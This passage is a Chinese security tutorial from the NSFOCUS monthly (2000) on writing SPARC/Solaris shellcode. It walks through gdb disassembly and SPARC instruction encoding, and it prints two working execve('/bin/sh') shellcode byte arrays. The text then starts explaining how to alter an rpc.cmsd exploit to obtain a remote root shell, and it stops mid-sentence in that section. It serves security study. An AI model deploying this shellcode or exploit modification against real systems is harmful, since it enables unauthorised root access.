首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第8期->安全文摘
期刊号: 类型: 关键词:
solaris for sparc下shellcode的编写(一)

主页:http://www.nsfocus.com
日期:2000-04-12


作者:scz < mailto: scz@nsfocus.com >
主页:http://www.nsfocus.com

前言:

    本文的目的是讲述如何针对sparc架构编写自己的shellcode,因为我对sparc架
    构下的汇编语言很不熟悉,只能碰上问题再临时找资料,本来想写得精彩点,
    但tt催命,只好先到此交差告一段落。接下来会写一个针对sparc架构的系列,
    前提是tt不催命。

测试:

    SunOS 5.7 Generic sun4u sparc SUNW,Ultra-5_10

目录:

    1.  shellcode.c for solaris 2.7
    2.  solaris for sparc下的汇编语言
    3.  利用objdump研究汇编代码
    4.  shellcode_exit.c for solaris 2.7
    5.  用gdb调试观察shellcode.c
    6.  简单总结一下伪汇编代码
    7.  aleph1提供的两个shellcode for sparc
    8.  对sethi指令的解释
    9.  修改rpc.cmsd的exploit code
    10. 使用/bin/ksh的shellcode

1. shellcode.c for solaris 2.7

--------------------------------------------------------------------------
#include <stdio.h>
int main ( int argc, char * argv[] )
{
    char * name[2];

    name[0] = "/bin/ksh";
    name[1] = NULL;
    execve( name[0], name, NULL );
    return 0;
}  /* end of main */
--------------------------------------------------------------------------

[scz@ /space/staff/scz/src]> cat > shellcode.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode shellcode.c
[scz@ /space/staff/scz/src]> gdb shellcode
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disassemble main  <-- -- -- 输入
Dump of assembler code for function main:
0x101b8 <main>   :      save  %sp, -120, %sp
0x101bc <main+4> :      st    %i0, [ %fp + 0x44 ]
0x101c0 <main+8> :      st    %i1, [ %fp + 0x48 ]
0x101c4 <main+12>:      sethi %hi(0x2d000), %o1
0x101c8 <main+16>:      or    %o1, 0x2d8, %o0  ! 0x2d2d8 <_lib_version+8>
0x101cc <main+20>:      st    %o0, [ %fp + -24 ]
0x101d0 <main+24>:      clr   [ %fp + -20 ]
0x101d4 <main+28>:      add   %fp, -24, %o1
0x101d8 <main+32>:      ld    [ %fp + -24 ], %o0
0x101dc <main+36>:      clr   %o2
0x101e0 <main+40>:      call  0x10da0 <execve>
0x101e4 <main+44>:      nop
0x101e8 <main+48>:      clr   %i0  ! 0x0
0x101ec <main+52>:      b     0x101f4 <main+60>
0x101f0 <main+56>:      nop
0x101f4 <main+60>:      ret
0x101f8 <main+64>:      restore
End of assembler dump.
(gdb) x/4bx main  <-- -- -- 得到main的机器码
0x101b8 <main>   :      0x9d    0xe3    0xbf    0x88
(gdb) x/4bx
0x101bc <main+4> :      0xf0    0x27    0xa0    0x44
(gdb) x/4bx
0x101c0 <main+8> :      0xf2    0x27    0xa0    0x48
(gdb) x/4bx
0x101c4 <main+12>:      0x13    0x00    0x00    0xb4
(gdb) x/4bx
0x101c8 <main+16>:      0x90    0x12    0x62    0xd8
(gdb) x/4bx
0x101cc <main+20>:      0xd0    0x27    0xbf    0xe8
(gdb) x/4bx
0x101d0 <main+24>:      0xc0    0x27    0xbf    0xec
(gdb) x/4bx
0x101d4 <main+28>:      0x92    0x07    0xbf    0xe8
(gdb) x/4bx
0x101d8 <main+32>:      0xd0    0x07    0xbf    0xe8
(gdb) x/4bx
0x101dc <main+36>:      0x94    0x10    0x20    0x00
(gdb) x/4bx
0x101e0 <main+40>:      0x40    0x00    0x02    0xf0
(gdb) x/4bx  <-- -- -- nop指令
0x101e4 <main+44>:      0x01    0x00    0x00    0x00
(gdb) x/4bx
0x101e8 <main+48>:      0xb0    0x10    0x20    0x00
(gdb) x/4bx
0x101ec <main+52>:      0x10    0x80    0x00    0x02
(gdb) x/4bx  <-- -- -- nop指令
0x101f0 <main+56>:      0x01    0x00    0x00    0x00
(gdb) x/4bx
0x101f4 <main+60>:      0x81    0xc7    0xe0    0x08
(gdb) x/4bx
0x101f8 <main+64>:      0x81    0xe8    0x00    0x00
(gdb) disas execve
Dump of assembler code for function execve:
0x10da0 <execve>   :    mov   0x3b, %g1  <-- -- -- 怀疑这个就是功能号
0x10da4 <execve+4> :    ta    8
0x10da8 <execve+8> :    bcc   0x10dbc <_exit>
0x10dac <execve+12>:    sethi %hi(0x16400), %o5
0x10db0 <execve+16>:    or    %o5, 0x34c, %o5  ! 0x1674c <_cerror>
0x10db4 <execve+20>:    jmp   %o5
0x10db8 <execve+24>:    nop
End of assembler dump.
(gdb) x/4bx execve  <-- -- -- 得到execve的机器码
0x10da0 <execve>   :    0x82    0x10    0x20    0x3b
(gdb) x/4bx       
0x10da4 <execve+4> :    0x91    0xd0    0x20    0x08
(gdb) x/4bx
0x10da8 <execve+8> :    0x1a    0x80    0x00    0x05
(gdb) x/4bx
0x10dac <execve+12>:    0x1b    0x00    0x00    0x59
(gdb) x/4bx
0x10db0 <execve+16>:    0x9a    0x13    0x63    0x4c
(gdb) x/4bx
0x10db4 <execve+20>:    0x81    0xc3    0x40    0x00
(gdb) x/4bx
0x10db8 <execve+24>:    0x01    0x00    0x00    0x00
(gdb) disas exit
Dump of assembler code for function exit:
0x167a0 <exit>   :      save %sp, -96, %sp
0x167a4 <exit+4> :      call 0x10d18 <_exithandle>
0x167a8 <exit+8> :      nop
0x167ac <exit+12>:      restore
0x167b0 <exit+16>:      mov  1, %g1  <-- -- -- 对比这里和下面的<_exit>
0x167b4 <exit+20>:      ta  8
End of assembler dump.
(gdb) disas _exit
Dump of assembler code for function _exit:
0x10dbc <_exit>  :      mov 1, %g1  ! 0x1 对比这里和上面的<exit+16>
0x10dc0 <_exit+4>:      ta  8
End of assembler dump.
(gdb) x/4bx _exit  <-- -- -- 得到_exit的机器码
0x10dbc <_exit>:        0x82    0x10    0x20    0x01
(gdb) x/4bx      
0x10dc0 <_exit+4>:      0x91    0xd0    0x20    0x08
(gdb) q
[scz@ /space/staff/scz/src]>

观察上述反汇编结果,sparc下是严格的4字节指令,每条指令都是4个字节。
整理如下:

<main>   : 9d e3 bf 88    save  %sp, -120, %sp
<main+4> : f0 27 a0 44    st    %i0, [ %fp + 0x44 ]
<main+8> : f2 27 a0 48    st    %i1, [ %fp + 0x48 ]
<main+12>: 13 00 00 b4    sethi %hi(0x2d000), %o1
                                                 ! char * name[2];
                                                 ! name[0] = "/bin/ksh";
<main+16>: 90 12 62 d8    or    %o1, 0x2d8, %o0  ! 0x2d2d8 <_lib_version+8>
                                                 ! 0x2d2d8 --> "/bin/ksh"
<main+20>: d0 27 bf e8    st    %o0, [ %fp + -24 ]
                                                 ! %fp - 24 对应 name[0]
                                                 ! name[0]已经被赋值成指针
<main+24>: c0 27 bf ec    clr   [ %fp + -20 ]    ! name[1] = NULL;
                                                 ! %fp - 20 对应 name[1]
                                                 ! name[1]已经赋值成空
<main+28>: 92 07 bf e8    add   %fp, -24, %o1    ! %fp - 24 ==> %o1
                                                 ! 现在%o1 对应 name[0]的地址
                                                 ! execve( name[0], name, NULL );
<main+32>: d0 07 bf e8    ld    [ %fp + -24 ], %o0
                                                 ! [ %fp + -24 ] ==> %o0
                                                 ! 现在%o0等于name[0]的值,指向"/bin/ksh"的指针
<main+36>: 94 10 20 00    clr   %o2              ! %o2寄存器清零
<main+40>: 40 00 02 f0    call  0x10da0 <execve> ! 先给%o7赋值保存返回地址,然后做跳转
<main+44>: 01 00 00 00    nop
<main+48>: b0 10 20 00    clr   %i0              ! 0x0
                                                 ! return 0;
<main+52>: 10 80 00 02    b     0x101f4 <main+60>
                                                 ! Branch 语句
<main+56>: 01 00 00 00    nop
<main+60>: 81 c7 e0 08    ret
<main+64>: 81 e8 00 00    restore

<execve>   : 82 10 20 3b mov   0x3b, %g1
<execve+4> : 91 d0 20 08 ta    8
<execve+8> : 1a 80 00 05 bcc   0x10dbc <_exit>
<execve+12>: 1b 00 00 59 sethi %hi(0x16400), %o5
<execve+16>: 9a 13 63 4c or    %o5, 0x34c, %o5  ! 0x1674c <_cerror>
<execve+20>: 81 c3 40 00 jmp   %o5
<execve+24>: 01 00 00 00 nop

<_exit>  : 82 10 20 01 mov 1, %g1  ! 0x1 对比这里和上面的<exit+16>
<_exit+4>: 91 d0 20 08 ta  8

2. solaris for sparc下的汇编语言

下面是一些简单的来自solaris answerbook的关于汇编语言的语法解释:

address        ---- regrs1 + regrs2
                    regrs1 + const13
                    regrs1 - const13
                    const13 + regrs1
                    const13
               ---- 地址的语法构成,总共有五种构成方式
const13        ---- 一个13bit的常量,可以是一个符号表达式的评价值
                    (参考c语言中关于评价值的解释)
const22        ---- 一个22bit的常量,可以是一个符号表达式的评价值
                    (参考c语言中关于评价值的解释)
imm7           ---- A signed or unsigned constant that can be represented
                    in 7 bits (it is in the range -64 ... 127).  It can be
                    the result of the evaluation of a symbol expression.
uimm7          ---- An unsigned constant that can be represented in 7 bits
                    (it is in the range 0 ... 127). It can be the result
                    of the evaluation of a symbol expression.
regrd          ---- 目标寄存器
regrs1, regrs2 ---- 源寄存器1,源寄存器2
reg_or_imm     ---- regrs2, const13 ---- 来自某个寄存器的值,或者常量
regaddr        ---- regrs1
                    regrs1 + regrs2
               ---- 仅仅由寄存器值构成的地址
freg           ---- %f0 ... %f31 ---- 浮点寄存器
creg           ---- %c0 ... %c31 ---- Coprocessor registers.
reg            ---- %r0 ... %r31 ---- General purpose registers.
                    %g0 ... %g7  ---- Same as %r0 ... %r7 (Globals)
                    %o0 ... %o7  ---- Same as %r8 ... %r15 (Outs)
                    %l0 ... %l7  ---- Same as %r16 ... %r23 (Locals)
                    %i0 ... %i7  ---- Same as %r24 ... %r31 (Ins)

相关指令集:

save    regrs1, reg_or_imm, regrd
restore regrs1, reg_or_imm, regrd
st      regrd, [address]
add     regrs1, reg_or_imm, regrd ---- Add
call    label                     ---- Call subprogram
ld      [address], regrd          ---- Load word
or      regrs1, reg_or_imm, regrd ---- Inclusive or
sethi   const22, regrd            ---- Set high 22 bits of register
sethi   %hi(value), regrd         ---- if ((value & 0x3ff) == 0)
nop                               ---- No operation
jmpl    address, regrd            ---- Jump and link

clr regrd             ---- or %g0, %g0, regrd ---- Clear (zero) register
clr [address]         ---- st %g0, [address]  ---- Clear word
mov reg_or_imm, regrd ---- or %g0, reg_or_imm, regrd
call reg_or_imm       ---- jmpl reg_or_imm, %o7
jmp address           ---- jmpl address, %g0
set value, regrd      ---- sethi %hi(value), regrd
                      ---- if ((value & 0x3ff) == 0)

3. 利用objdump研究汇编代码

GNU objdump 位于binutils-x.x.gz包(x.x是版本号)中,缺省情况下
solaris for sparc是没有这些二进制工具的,需要自己去下载安装,
比如:

ftp://sunsite.ccu.edu.tw/pub/freeware/sparc/2.5/binutils-2.7.gz

[scz@ /space/staff/scz/src]> objdump -j .text -Sl shellcode | more
/main(查找)
...跳过
main():
/space/staff/scz/src/shellcode.c:3
int main ( int argc, char * argv[] )
{
000101b8 <main>   save  %sp, -120, %sp
000101bc <main+4> st  %i0, [ %fp + 0x44 ]
000101c0 <main+8> st  %i1, [ %fp + 0x48 ]
/space/staff/scz/src/shellcode.c:6
    char * name[2];

    name[0] = "/bin/ksh";
000101c4 <main+c>  sethi  %hi(0x2d000), %o1
000101c8 <main+10> or  %o1, 0x2d8, %o0  ! 0002d2d8 <_lib_version+8>
000101cc <main+14> st  %o0, [ %fp + -24 ]
/space/staff/scz/src/shellcode.c:7
    name[1] = NULL;
000101d0 <main+18> clr  [ %fp + -20 ]
/space/staff/scz/src/shellcode.c:8
    execve( name[0], name, NULL );
000101d4 <main+1c> add  %fp, -24, %o1
000101d8 <main+20> ld  [ %fp + -24 ], %o0
000101dc <main+24> clr  %o2
000101e0 <main+28> call  00010da0 <_execve>
000101e4 <main+2c> nop
/space/staff/scz/src/shellcode.c:9
    return 0;
000101e8 <main+30> clr  %i0     ! 00000000 <_DYNAMIC>
000101ec <main+34> b  000101f4 <main+3c>
000101f0 <main+38> nop
/space/staff/scz/src/shellcode.c:10
}  /* end of main */
000101f4 <main+3c> ret
000101f8 <main+40> restore
打破的管道  <-- -- -- 输入q
[scz@ /space/staff/scz/src]>

objdump for sparc并不像objdump for x86那样会给出机器码,所以
还是需要gdb的辅助。

4. shellcode_exit.c for solaris 2.7

--------------------------------------------------------------------------
#include <stdlib.h>
int main ( int argc, char * argv[] )
{
    _exit( 0 );
}  /* end of main */
--------------------------------------------------------------------------

[scz@ /space/staff/scz/src]> cat > shellcode_exit.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode_exit shellcode_exit.c
[scz@ /space/staff/scz/src]> gdb shellcode_exit
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disassemble main  <-- -- -- 输入
Dump of assembler code for function main:
0x101b8 <main>   :      save %sp, -112, %sp       ! 注意这三条指令
0x101bc <main+4> :      st   %i0, [ %fp + 0x44 ]  ! 注意这三条指令
0x101c0 <main+8> :      st   %i1, [ %fp + 0x48 ]  ! 注意这三条指令
0x101c4 <main+12>:      clr  %o0
0x101c8 <main+16>:      call 0x10d7c <_exit>
0x101cc <main+20>:      nop
0x101d0 <main+24>:      ret
0x101d4 <main+28>:      restore
End of assembler dump.
(gdb) x/4bx main  <-- -- -- 得到main的机器码
0x101b8 <main>   :      0x9d    0xe3    0xbf    0x90
(gdb) x/4bx     
0x101bc <main+4> :      0xf0    0x27    0xa0    0x44
(gdb) x/4bx
0x101c0 <main+8> :      0xf2    0x27    0xa0    0x48
(gdb) x/4bx
0x101c4 <main+12>:      0x90    0x10    0x20    0x00
(gdb) x/4bx
0x101c8 <main+16>:      0x40    0x00    0x02    0xed
(gdb) x/4bx
0x101cc <main+20>:      0x01    0x00    0x00    0x00
(gdb) x/4bx
0x101d0 <main+24>:      0x81    0xc7    0xe0    0x08
(gdb) x/4bx
0x101d4 <main+28>:      0x81    0xe8    0x00    0x00
(gdb) disas _exit
Dump of assembler code for function _exit:
0x10d7c <_exit>  :      mov 1, %g1
0x10d80 <_exit+4>:      ta  8
End of assembler dump.
(gdb) x/4bx _exit  <-- -- -- 得到_exit的机器码
0x10d7c <_exit>:        0x82    0x10    0x20    0x01
(gdb) x/4bx      
0x10d80 <_exit+4>:      0x91    0xd0    0x20    0x08
(gdb) q
[scz@ /space/staff/scz/src]>

整理得到:

0x101b8 <main>   : 9d e3 bf 90 save %sp, -112, %sp       ! 注意这三条指令
0x101bc <main+4> : f0 27 a0 44 st   %i0, [ %fp + 0x44 ]  ! 注意这三条指令
0x101c0 <main+8> : f2 27 a0 48 st   %i1, [ %fp + 0x48 ]  ! 注意这三条指令
0x101c4 <main+12>: 90 10 20 00 clr  %o0
0x101c8 <main+16>: 40 00 02 ed call 0x10d7c <_exit>
0x101cc <main+20>: 01 00 00 00 nop
0x101d0 <main+24>: 81 c7 e0 08 ret
0x101d4 <main+28>: 81 e8 00 00 restore

<_exit>  : 82 10 20 01 mov 1, %g1  ! 0x1
<_exit+4>: 91 d0 20 08 ta  8       ! 这个应该相当于int指令吧

5. 用gdb调试观察shellcode.c

[scz@ /space/staff/scz/src]> gdb shellcode  
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) break main
Breakpoint 1 at 0x101c4: file shellcode.c, line 6.
(gdb) run
Starting program: /space/staff/scz/src/shellcode

Breakpoint 1, main (argc=1, argv=0xffbefcf4) at shellcode.c:6
6           name[0] = "/bin/ksh";
(gdb) p &argc
$1 = (int *) 0xffbefcd4
(gdb) p argc   
$2 = 1
(gdb) p argv
$3 = (char **) 0xffbefcf4
(gdb) n  <-- -- -- 单步执行
7           name[1] = NULL;
(gdb) inf line
Line 7 of "shellcode.c" starts at address 0x101d0 <main+24> and ends at 0x101d4 <main+28>.
(gdb) n  <-- -- -- 单步执行
8           execve( name[0], name, NULL );
(gdb) inf reg $fp  <-- -- -- 查看寄存器%fp
fp             0xffbefc90       -4260720
(gdb) x/s 0x0002d2d8
0x2d2d8 <_lib_version+8>:        "/bin/ksh"
(gdb) x/4bx $fp - 24  <-- -- -- 检查name[0],name[0]的值是个指针0x2d2d8
0xffbefc78:     0x00    0x02    0xd2    0xd8  <-- -- -- 这里是big endian
(gdb) x/4bx $fp - 20  <-- -- -- 检查name[1]
0xffbefc7c:     0x00    0x00    0x00    0x00
(gdb) si  <-- -- -- 单步执行汇编指令
0x101d8 8           execve( name[0], name, NULL );
(gdb) inf reg pc  <-- -- -- 相当于x86架构的EIP寄存器
pc             0x101d8  66008
(gdb) p $fp  
$4 = -4260720
(gdb) p $o1  <-- -- -- 此时等于 $fp - 24
$5 = -4260744
(gdb) x/4bx $o1  <-- -- -- $o1现在对应name[0]的地址,该地址处存放了指针0x0002d2d8
0xffbefc78:     0x00    0x02    0xd2    0xd8
(gdb) x/s 0x0002d2d8  <-- -- -- 该指针指向字符串"/bin/ksh"
0x2d2d8 <_lib_version+8>:        "/bin/ksh"
(gdb) si  <-- -- -- 单步执行汇编指令
0x101dc 8           execve( name[0], name, NULL );
(gdb) p/x $o0
$6 = 0x2d2d8
(gdb) x/s $o0  <-- -- -- $o0现在对应name[0]的值,即指针0x0002d2d8本身
0x2d2d8 <_lib_version+8>:        "/bin/ksh"
(gdb) p $o2  <-- -- -- 检查$o2寄存器,与后面做比较
$7 = 281600
(gdb) si  <-- -- -- 这里实际执行了 clr %o2 ,%o2现在应该为0
0x101e0 8           execve( name[0], name, NULL );
(gdb) p $o2
$8 = 0  <-- -- -- 验证$o2寄存器已经清零
(gdb) p $o7  <-- -- -- 检查$o7寄存器,与后面做比较
$9 = 184996
(gdb) p $pc  <-- -- -- 检查$pc寄存器,与后面做比较
$10 = 66016  <-- -- -- 66016(10) == 101e0(16)
(gdb) si  <-- -- -- 执行 call 0x10da0 <execve>
0x101e4 8           execve( name[0], name, NULL );
(gdb) p $o7
$11 = 66016  <-- -- -- $o7寄存器保存了call发生前$pc寄存器的值
(gdb) p $pc  <-- -- -- call命令先做到$o7寄存器的保存,后跳转
$12 = 66020  <-- -- -- 66020(10) == 101e4(16)
(gdb) si  <-- -- -- 这里实际执行了jmpl 0x10da0 <execve>
0x10da0 in execve ()
(gdb) p $pc
$13 = 69024  <-- -- -- 69024(10) == 10da0(16)
(gdb) p $o7
$14 = 66016  <-- -- -- $o7寄存器将来用做计算call命令的返回地址
(gdb) q
The program is running.  Exit anyway? (y or n) y
[scz@ /space/staff/scz/src]>

从上面对call指令的分析中可以看出,call指令后面的nop指令不是凭空产生的,而
是因为call指令本身是个伪指令,实际对应了两条机器码,先给$o7赋值,后跳转,
需要用nop指令留出4字节空间。我这是不专业的解释,但可以这样理解。以此类推,
如果某条汇编指令后面跟着一条nop指令,就可以考虑研究它是否由两条机器码构成。
如果自己写汇编代码,似乎也应该注意到这个问题,比如call指令后必须增加一条看
似无意义的nop指令。注意,jmp指令和call指令存在同样的问题。关于汇编指令和机
器码的细节,请参看solaris answerbook,一般在8888端口上提供服务。

6. 简单总结一下伪汇编代码

--------------------------------------------------------------------------
                      ! %o0 指向字符串"/bin/sh"
                      ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor     %o2, %o2, %o2 ! %o2寄存器清零
mov     0x3b, %g1     ! 将0x3b拷贝到%g1寄存器中
ta      8             ! 执行中断指令ta 8(execve()完成)
xor     %o7, %o7, %o0 ! %o0寄存器清零
mov     1, %g1        ! 将1拷贝到%g1寄存器中
ta      8             ! 执行中断指令ta 8(_exit(0)完成)
--------------------------------------------------------------------------

7. aleph1提供的两个shellcode for sparc

--------------------------------------------------------------------------
/* SPARC/Solaris shellcode */
int main ()
{
    __asm__
    ("
        sethi   0xbd89a, %l6    ! sethi  %hi(0x2f626800), %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7    ! sethi  %hi(0x2f736800), %l7
        and     %sp, %sp, %o0   ! $o0 指向字符串/bin/sh
        add     %sp, 8, %o1     ! $o1 存放一个地址,该地址处存放了指向字符串的指针
        xor     %o2, %o2, %o2   ! %o2寄存器清零
        add     %sp, 16, %sp    ! 留出存储空间
        std     %l6, [%sp - 16] ! 存放字符串
        st      %sp, [%sp - 8]  ! 存放字符串指针
        st      %g0, [%sp - 4]  ! %g0总是为0
        mov     0x3b, %g1       ! 将0x3b拷贝到%g1寄存器中
        ta      8               ! 执行中断指令ta 8(execve()完成)
        xor     %o7, %o7, %o0   ! %o0寄存器清零
        mov     1, %g1          ! 将1拷贝到%g1寄存器中
        ta      8               ! 执行中断指令ta 8(_exit(0)完成)
    ");
}  /* end of main */
--------------------------------------------------------------------------

[scz@ /space/staff/scz/src]> cat > shellcodeasm.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcodeasm shellcodeasm.c
[scz@ /space/staff/scz/src]> ./shellcodeasm
$ exit
[scz@ /space/staff/scz/src]> gdb ./shellcodeasm
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disas main
Dump of assembler code for function main:
0x101b8 <main>   :      save  %sp, -112, %sp
0x101bc <main+4> :      sethi  %hi(0x2f626800), %l6
0x101c0 <main+8> :      or  %l6, 0x16e, %l6     ! 0x2f62696e
0x101c4 <main+12>:      sethi  %hi(0x2f736800), %l7
0x101c8 <main+16>:      and  %sp, %sp, %o0
0x101cc <main+20>:      add  %sp, 8, %o1
0x101d0 <main+24>:      xor  %o2, %o2, %o2
0x101d4 <main+28>:      add  %sp, 0x10, %sp
0x101d8 <main+32>:      std  %l6, [ %sp + -16 ]
0x101dc <main+36>:      st  %sp, [ %sp + -8 ]
0x101e0 <main+40>:      clr  [ %sp + -4 ]
0x101e4 <main+44>:      mov  0x3b, %g1
0x101e8 <main+48>:      ta  8
0x101ec <main+52>:      xor  %o7, %o7, %o0
0x101f0 <main+56>:      mov  1, %g1
0x101f4 <main+60>:      ta  8
0x101f8 <main+64>:      ret
0x101fc <main+68>:      restore
End of assembler dump.
(gdb) x/60bx main+4  <-- -- -- 提取shellcode
0x101bc <main+4>:       0x2d    0x0b    0xd8    0x9a    0xac    0x15    0xa1    0x6e
0x101c4 <main+12>:      0x2f    0x0b    0xdc    0xda    0x90    0x0b    0x80    0x0e
0x101cc <main+20>:      0x92    0x03    0xa0    0x08    0x94    0x1a    0x80    0x0a
0x101d4 <main+28>:      0x9c    0x03    0xa0    0x10    0xec    0x3b    0xbf    0xf0
0x101dc <main+36>:      0xdc    0x23    0xbf    0xf8    0xc0    0x23    0xbf    0xfc
0x101e4 <main+44>:      0x82    0x10    0x20    0x3b    0x91    0xd0    0x20    0x08
0x101ec <main+52>:      0x90    0x1b    0xc0    0x0f    0x82    0x10    0x20    0x01
0x101f4 <main+60>:      0x91    0xd0    0x20    0x08
(gdb) q
[scz@ /space/staff/scz/src]>

整理如下:

char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
    "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

--------------------------------------------------------------------------
/* SPARC/SunOS shellcode */
int main ()
{
    __asm__
    ("
        sethi   0xbd89a, %l6     ! sethi  %hi(0x2f626800), %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7     ! sethi  %hi(0x2f736800), %l7
        and     %sp, %sp, %o0    ! $o0 指向字符串/bin/sh
        add     %sp, 8, %o1      ! $o1 存放一个地址,该地址处存放了指向字符串的指针
        xor     %o2, %o2, %o2    ! %o2寄存器清零
        add     %sp, 16, %sp     ! 留出存储空间
        std     %l6, [%sp - 16]  ! 存放字符串
        st      %sp, [%sp - 8]   ! 存放字符串指针
        st      %g0, [%sp - 4]   ! %g0总是为0
        mov     0x3b, %g1        ! 将0x3b拷贝到%g1寄存器中
        mov     -0x1, %l5
        ta      %l5 + 1          ! 执行中断指令ta (execve()完成)
        xor     %o7, %o7, %o0    ! %o0寄存器清零
        mov     1, %g1           ! 将1拷贝到%g1寄存器中
        ta      %l5 + 1          ! 执行中断指令ta (_exit(0)完成)
    ");
}  /* end of main */
--------------------------------------------------------------------------

[scz@ /space/staff/scz/src]> cat > shellcode_asm.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode_asm shellcode_asm.c
[scz@ /space/staff/scz/src]> ./shellcode_asm
$ exit
[scz@ /space/staff/scz/src]> gdb shellcode_asm
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disas main
Dump of assembler code for function main:
0x101b8 <main>   :      save  %sp, -112, %sp
0x101bc <main+4> :      sethi  %hi(0x2f626800), %l6
0x101c0 <main+8> :      or  %l6, 0x16e, %l6     ! 0x2f62696e
0x101c4 <main+12>:      sethi  %hi(0x2f736800), %l7
0x101c8 <main+16>:      and  %sp, %sp, %o0
0x101cc <main+20>:      add  %sp, 8, %o1
0x101d0 <main+24>:      xor  %o2, %o2, %o2
0x101d4 <main+28>:      add  %sp, 0x10, %sp
0x101d8 <main+32>:      std  %l6, [ %sp + -16 ]
0x101dc <main+36>:      st  %sp, [ %sp + -8 ]
0x101e0 <main+40>:      clr  [ %sp + -4 ]
0x101e4 <main+44>:      mov  0x3b, %g1
0x101e8 <main+48>:      mov  -1, %l5
0x101ec <main+52>:      ta  %l5 + 1
0x101f0 <main+56>:      xor  %o7, %o7, %o0
0x101f4 <main+60>:      mov  1, %g1
0x101f8 <main+64>:      ta  %l5 + 1
0x101fc <main+68>:      ret
0x10200 <main+72>:      restore
End of assembler dump.
(gdb) x/64bx main+4  <-- -- -- 提取shellcode
0x101bc <main+4>:       0x2d    0x0b    0xd8    0x9a    0xac    0x15    0xa1    0x6e
0x101c4 <main+12>:      0x2f    0x0b    0xdc    0xda    0x90    0x0b    0x80    0x0e
0x101cc <main+20>:      0x92    0x03    0xa0    0x08    0x94    0x1a    0x80    0x0a
0x101d4 <main+28>:      0x9c    0x03    0xa0    0x10    0xec    0x3b    0xbf    0xf0
0x101dc <main+36>:      0xdc    0x23    0xbf    0xf8    0xc0    0x23    0xbf    0xfc
0x101e4 <main+44>:      0x82    0x10    0x20    0x3b    0xaa    0x10    0x3f    0xff
0x101ec <main+52>:      0x91    0xd5    0x60    0x01    0x90    0x1b    0xc0    0x0f
0x101f4 <main+60>:      0x82    0x10    0x20    0x01    0x91    0xd5    0x60    0x01
(gdb) q
[scz@ /space/staff/scz/src]>

整理如下:

char shell_code[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
    "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

8. 对sethi指令的解释

研究aleph1提供的这两个shellcode,如果用/bin/sh的16进制表示搜索,是找不到的,
那么关键在于什么?关键在于这里提供的shellcode中,/bin/sh不是以常量字符串形
式存在,而是由汇编指令动态构建的,也就是下面的三条指令。这三条指令把字符串
"/bin/sh"存储在 %l6 + %l7 寄存器对中,注意该字符串(包括结尾的null)总共占用
了8个字节,刚好是两个寄存器。而 std  %l6, [ %sp + -16 ] 指令中的std是指操
作double word,也就是操作 %l6 + %l7 寄存器对。

至于sethi指令的意思在条目2中已经提到,设置目标寄存器的高22bit。
"/bin/sh"的16进制表示是0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00。二进制表示
是00101111 01100010 01101001 01101110 00101111 01110011 01101000 00000000。
而前22bit是00101111 01100010 011010,这个值对应16进制的0xbd89a,也就是你在
aleph1所提供的汇编代码中看到的魔术数字。那么接下来的10bit是01 01101110,
对应16进制的0x16e。接下来00101111 01110011 01101000 00000000的前22bit
00101111 01110011 011010对应16进制的0xbdcda,最后的10bit是00 00000000,不
用特别处理,所以没有or指令跟在sethi指令后面。

--------------------------------------------------------------------------
sethi   %hi(0x2f626800), %l6  ! sethi   0xbd89a, %l6
or      %l6, 0x16e, %l6
sethi   %hi(0x2f736800), %l7  ! sethi   0xbdcda, %l7
... ...
std  %l6, [ %sp + -16 ]
--------------------------------------------------------------------------

由这里的分析我们可以想到什么?首先,如果使用/bin/sh的话,一般应该在
shellcode的头部找到这样的特征串:

"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda"

对应上述三条指令。反之,如果你搜索到了这个特征串,那么极大可能使用了
/bin/sh。其次,如果你要修改成使用/bin/ksh,而且依旧采用这种技术,那么要做
的应该是分多次利用sethi指令构建字符串,比如/bin/ksh。第三,有种版本的
rpc.cmsd的exploit code,其中使用了/tmp/iss,你在shellcode中找不到对应字符
串,实际上它也是使用了sethi指令动态构建这个字符串的,可能是iss的程序员出于
某种想法而做的保护措施,以至于绝大多数人只能靠在本机建立/tmp/iss作为shell
溢出成功,而无法远程溢出取得root shell。对于那些真正研究代码学习编程的人,
修改它则是非常容易的事情。

9. 修改rpc.cmsd的exploit code

下面是需要修改的关键地方:

--------------------------------------------------------------------------
"\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6  */
"\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
"\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7  */
"\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
--------------------------------------------------------------------------

我们可以考虑把它修改成使用/bin/ksh。"/bin/ksh"的16进制表示是0x2f 0x62 0x69
